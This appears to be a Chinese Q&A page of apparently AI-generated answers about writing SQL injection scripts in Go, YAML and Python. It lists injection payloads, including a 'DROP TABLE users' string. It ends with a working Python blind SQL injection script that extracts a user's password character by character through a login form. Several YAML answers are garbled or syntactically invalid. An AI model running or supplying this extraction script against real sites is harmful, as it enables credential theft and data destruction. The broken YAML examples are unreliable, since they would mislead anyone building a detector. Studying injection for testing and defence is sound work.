用go语言写一个sql注入检查脚本

时间: 2023-03-15 08:22:14 浏览: 117
我不是很擅长写代码,但是我可以提供一些提示,希望能够帮助你:1. 首先,你需要学习Go语言的语法和基础知识;2. 然后,你需要熟悉SQL注入的概念;3. 接下来,你可以尝试编写一个简单的检查脚本,用来检测输入字符串中是否存在SQL注入攻击的危险;4. 最后,你可以利用Go语言的测试功能,对检查脚本进行测试和调试,以确保它能够正确地运行。
相关问题

写一个yaml格式的sql注入检测脚本

### 回答1: 答:``` --- type: "SQLInjectionTest" script: - command: "SELECT * FROM users WHERE username = '{username_param}'" expected_output: - "SELECT * FROM users WHERE username = '{username_param}' AND 1 = 1" - "SELECT * FROM users WHERE username = '{username_param}' AND 1 <> 1" ``` ### 回答2: 为了编写一个能够检测SQL注入的YAML格式脚本,我们可以使用以下步骤: 1. 创建一个YAML文件,并定义检测脚本的结构。可以使用以下示例作为开始: ```yaml - endpoint: /api/my-endpoint method: GET sql_injection_payloads: - "' OR '1'='1'" - "1; DROP TABLE users" ``` 2. 编写一个脚本,读取YAML文件,并解析其中定义的相关参数。可以使用Python的pyyaml模块实现。以下是一个示例: ```python import yaml def load_yaml(file_path): with open(file_path, 'r') as f: yaml_data = yaml.safe_load(f) return yaml_data def sql_injection_detect(endpoint, method, payloads): # 实现SQL注入检测逻辑的代码 pass if __name__ == "__main__": yaml_data = load_yaml('sql_injection_script.yaml') for script in yaml_data: sql_injection_detect(script['endpoint'], script['method'], script['sql_injection_payloads']) ``` 3. 在`sql_injection_detect`函数中实现SQL注入检测逻辑。根据传入的请求endpoint和method,以及SQL注入的payloads,构造HTTP请求,并发送给目标服务器。然后,对返回的响应进行检查,查找是否存在SQL注入漏洞的迹象。以下是一个简单的示例: ```python import requests def sql_injection_detect(endpoint, method, payloads): for payload in payloads: url = 'http://example.com' + endpoint # 根据实际情况替换example.com if method == 'GET': response = requests.get(url + '?query=' + payload) elif method == 'POST': response = requests.post(url, data={'query': payload}) if "SQL syntax error" in response.text: print(f"Potential SQL injection found in {endpoint} using {payload}") else: print(f"No SQL injection found in {endpoint} using {payload}") ``` 需要注意的是,以上示例代码仅供参考,实际检测脚本应根据具体需求进行调整和优化,以确保有效性和安全性。另外,使用脚本时应谨慎,以免误用或对目标系统造成不必要的影响。 ### 回答3: YAML格式的SQL注入检测脚本可以用于检查Web应用程序中是否存在SQL注入漏洞。下面是一个简单的示例: ```yaml # SQL注入检测脚本 - name: SQL注入检测 tasks: - name: 发送恶意SQL语句 request: url: http://example.com/path/to/vulnerable/page?id='${{}' headers: Content-Type: application/json register: response - name: 分析响应 set_fact: vulnerable: "{{ response.content | search('error') }}" - name: 输出结果 debug: msg: "存在SQL注入漏洞" if vulnerable else "未检测到SQL注入漏洞" ``` 该脚本中使用了Ansible的YAML格式编写,用于发送包含恶意SQL语句的请求并检查响应中是否存在错误信息。具体步骤如下: 1. 发送恶意SQL语句的请求:通过`request`模块发送带有特定SQL注入payload的请求,其中`url`参数指定了目标页面的URL,`headers`参数设置请求头为`Content-Type: application/json`。 2. 分析响应:使用`search`过滤器检查响应内容中是否包含了常见的SQL错误信息,将结果存储在`vulnerable`变量中。 3. 输出结果:根据`vulnerable`的值判断是否存在SQL注入漏洞,并输出相应的消息。 这只是一个简单的示例,实际的SQL注入检测可能需要更加复杂和完善的脚本。同时,为防止误报,建议在进行SQL注入检测前先对输入进行合理的过滤和验证。

用python写一个sql盲注脚本

以下是一个基本的 Python SQL 盲注脚本,它可以用于测试 SQL 注入攻击: ```python import requests # 目标URL url = "http://example.com/login.php" # 注入参数 injection_param = "username" # 注入语句 injection_statement = "' or 1=1#" # 发送请求并检查响应 def check_response(response): if "登录成功" in response.text: return True else: return False # 枚举字符 def enum_chars(): for i in range(32, 127): injection_payload = injection_statement.replace("1=1", f"ascii(substring((select password from users where id=1), 1, 1))={i}") data = {injection_param: injection_payload} response = requests.post(url, data=data) if check_response(response): print(chr(i), end="") # 枚举长度 def enum_length(): length = 0 while True: injection_payload = injection_statement.replace("1=1", f"length((select password from users where id=1))={length}") data = {injection_param: injection_payload} response = requests.post(url, data=data) if check_response(response): return length length += 1 # 枚举内容 def enum_content(): password_length = enum_length() password = "" for i in range(1, password_length+1): for j in range(32, 127): injection_payload = injection_statement.replace("1=1", f"ascii(substring((select password from users where id=1), {i}, 1))={j}") data = {injection_param: injection_payload} response = requests.post(url, data=data) if check_response(response): password += chr(j) break print("Password:", password) # 枚举密码 enum_content() ``` 这是一个基本的脚本,它可以枚举数据库中的密码。请注意,这只是一个简单的演示,实际上,SQL 注入攻击可能需要更复杂的技术。此外,SQL 注入是非常危险的攻击,如果您不知道自己在做什么,请不要尝试。

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